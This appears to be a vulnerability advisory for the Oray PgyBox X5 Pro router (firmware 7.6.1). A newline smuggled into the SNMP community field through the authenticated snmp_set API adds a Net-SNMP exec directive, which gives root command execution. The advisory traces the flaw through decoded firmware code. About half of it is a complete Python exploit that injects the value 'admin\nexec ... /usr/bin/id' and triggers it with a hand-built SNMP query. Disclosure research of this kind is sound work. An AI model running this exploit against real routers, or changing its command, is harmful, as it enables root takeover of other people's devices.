Oray PgyBox X5 Pro Router firmware 7.6.1 accepts a newline in info.community through the authenticated snmp_set API. The SNMP init script inserts that value into a rocommunity record, allowing the following text to become an exec directive; the same request can enable SNMP. A query for the injected OID then runs the selected program as root and returns its output.
/www/cgi-bin/oraybox:92-114,475-510 authenticates snmp_set with the management system password, checks fields declared by the API module, and enforces the restricted-user API allowlist. The API has no password exemption. The factory uhttpd service listens on port 80, and the firewall allows input on the management side while rejecting WAN input (/etc/config/uhttpd, /etc/config/firewall).
In the decoded Lua 5.1 bytecode for /usr/lib/lua/oraybox/api/snmp_set.lua, shell_inject_checker.info.keys contains only "port" (lines 9-16). The JSON checker in /usr/lib/lua/oraybox/util.lua visits listed keys. Once info is decoded, the v2c branch writes the unchecked field to snmpd.general.community. This is the relevant excerpt from the decoded module, lines 61-70:
if snmp_info.version == "v2c" then
if not uci:set("snmpd", "general", "version", "v2c") then
return oraybox.errorcode.uci
end
if not uci:set("snmpd", "general", "community", snmp_info.community) then
return oraybox.errorcode.uci
end
if not uci:set("snmpd", "general", "access", snmp_info.access) then
return oraybox.errorcode.uci
end
The same function writes general.enabled, commits UCI, and restarts /etc/init.d/snmpd (decoded module lines 58-60,128-133). When enabling SNMP, it checks the chosen port for validity and occupancy; the test used the factory port, UDP/161. The factory /etc/config/snmpd has enabled='0', version='v2c', community='admin', access='ro', and agentaddress='UDP:161'. snmp_get exposes these settings in its info object.
In /etc/init.d/snmpd:284-296,330-374, the script retrieves general.community with config_get and appends an access record with echo "${access}community $community $source" >> $CONFIGFILE. Here CONFIGFILE is /var/run/snmpd.conf. With access=ro and a community containing LF followed by exec .1.3.6.1.4.1.8072.9999 proof /usr/bin/id, the generated file has a rocommunity admin line followed by that exec line. The image links /etc/snmp/snmpd.conf to /var/run/snmpd.conf. The default Net-SNMP search path includes /etc/snmp (libnetsnmp.so.40.1.0, get_configuration_directory, 0x47870). The init script starts /usr/sbin/snmpd -Lf /dev/null -f -r through procd without -u or a non-root user.
The shipped build loads the Net-SNMP extensible MIB. In libnetsnmpmibs.so.40.1.0, init_extensible registers exec at 0x30BA4; init_mib_modules selects that module at 0x4D360-0x4D378. extensible_parse_config accepts the OID, name, and program. Querying its .101.1 output object reaches var_extensible_relocatable (0x30894-0x3098C), which runs the configured command and returns its first output line. /usr/bin/id is present as a BusyBox link. The Net-SNMP configuration manual documents both exec [MIBOID] NAME PROG ARGS and the full-tree access given by an unrestricted rocommunity record. The trigger OID in this case is .1.3.6.1.4.1.8072.9999.101.1.
The X5 Pro 7.6.1 device returned uid=0(root) from /usr/bin/id in the UDP/161 response to the injected OID. Its /var/run/snmpd.conf contained the added exec directive. The installing snmp_set call returned code:0; the preceding snmp_get response had shown SNMP disabled, community admin, and port 161. The configuration file and network response show that the running daemon executed the injected command.
Set ORAY_PASSWORD to the router's management system password, then run this Python 3 script with the router's management address as its argument. It uses only the standard library. The script requires the factory SNMP settings and an unoccupied UDP/161 port. It sends the configuration through the HTTP API, queries the injected OID directly over UDP, and restores the settings returned by the initial snmp_get call.
import json
import os
import socket
import sys
import time
import urllib.parse
import urllib.request
host = sys.argv[1]
password = os.environ["ORAY_PASSWORD"]
endpoint = f"http://{host}/cgi-bin/oraybox"
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
arcs = (1, 3, 6, 1, 4, 1, 8072, 9999, 101, 1)
def api(method, **fields):
values = urllib.parse.urlencode({"_api": method, "_pwd": password, **fields}).encode()
request = urllib.request.Request(endpoint, data=values, method="POST")
with opener.open(request, timeout=12) as response:
return json.load(response)
def item(tag, value):
length = len(value)
if length < 128:
size = bytes((length,))
else:
digits = length.to_bytes((length.bit_length() + 7) // 8, "big")
size = bytes((0x80 | len(digits),)) + digits
return bytes((tag,)) + size + value
def oid_value(numbers):
result = bytearray((40 * numbers[0] + numbers[1],))
for number in numbers[2:]:
groups = [number & 0x7f]
number >>= 7
while number:
groups.insert(0, 0x80 | (number & 0x7f))
number >>= 7
result.extend(groups)
return bytes(result)
def fields(encoded):
output = []
offset = 0
while offset < len(encoded):
tag = encoded[offset]
size = encoded[offset + 1]
offset += 2
if size & 0x80:
count = size & 0x7f
size = int.from_bytes(encoded[offset:offset + count], "big")
offset += count
value = encoded[offset:offset + size]
assert len(value) == size
output.append((tag, value))
offset += size
return output
def query_exec():
encoded_oid = oid_value(arcs)
binding = item(0x30, item(0x06, encoded_oid) + item(0x05, b""))
request = item(0xa0, item(0x02, b"\x25") + item(0x02, b"\x00")
+ item(0x02, b"\x00") + item(0x30, binding))
packet = item(0x30, item(0x02, b"\x01") + item(0x04, b"admin") + request)
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as channel:
channel.settimeout(2)
for _ in range(5):
channel.sendto(packet, (host, 161))
try:
reply, _ = channel.recvfrom(8192)
break
except socket.timeout:
time.sleep(0.5)
else:
raise TimeoutError("no reply from UDP/161")
outer = fields(reply)
assert len(outer) == 1 and outer[0][0] == 0x30
message = fields(outer[0][1])
assert message[0] == (0x02, b"\x01") and message[1] == (0x04, b"admin")
assert message[2][0] == 0xa2
response = fields(message[2][1])
assert response[0] == (0x02, b"\x25") and response[1] == (0x02, b"\x00")
assert response[3][0] == 0x30
bindings = fields(response[3][1])
assert len(bindings) == 1 and bindings[0][0] == 0x30
entry = fields(bindings[0][1])
assert entry[0] == (0x06, encoded_oid) and entry[1][0] == 0x04
return entry[1][1]
before = api("snmp_get")
assert before["code"] == 0
saved = before["info"]
assert saved["enabled"] == 0 and saved["version"] == "v2c"
assert saved["community"] == "admin" and saved["access"] == "ro"
assert saved["port"] == 161
modified = dict(saved)
modified["enabled"] = 1
modified["community"] = "admin\nexec .1.3.6.1.4.1.8072.9999 proof /usr/bin/id"
try:
result = api("snmp_set", info=json.dumps(modified, separators=(",", ":")))
assert result["code"] == 0, result
output = query_exec()
assert b"uid=0(root)" in output, output
print("SNMP exec output:", output.decode("utf-8", "replace"))
finally:
restored = api("snmp_set", info=json.dumps(saved, separators=(",", ":")))
assert restored["code"] == 0, restored
after = api("snmp_get")
assert after["code"] == 0 and after["info"] == saved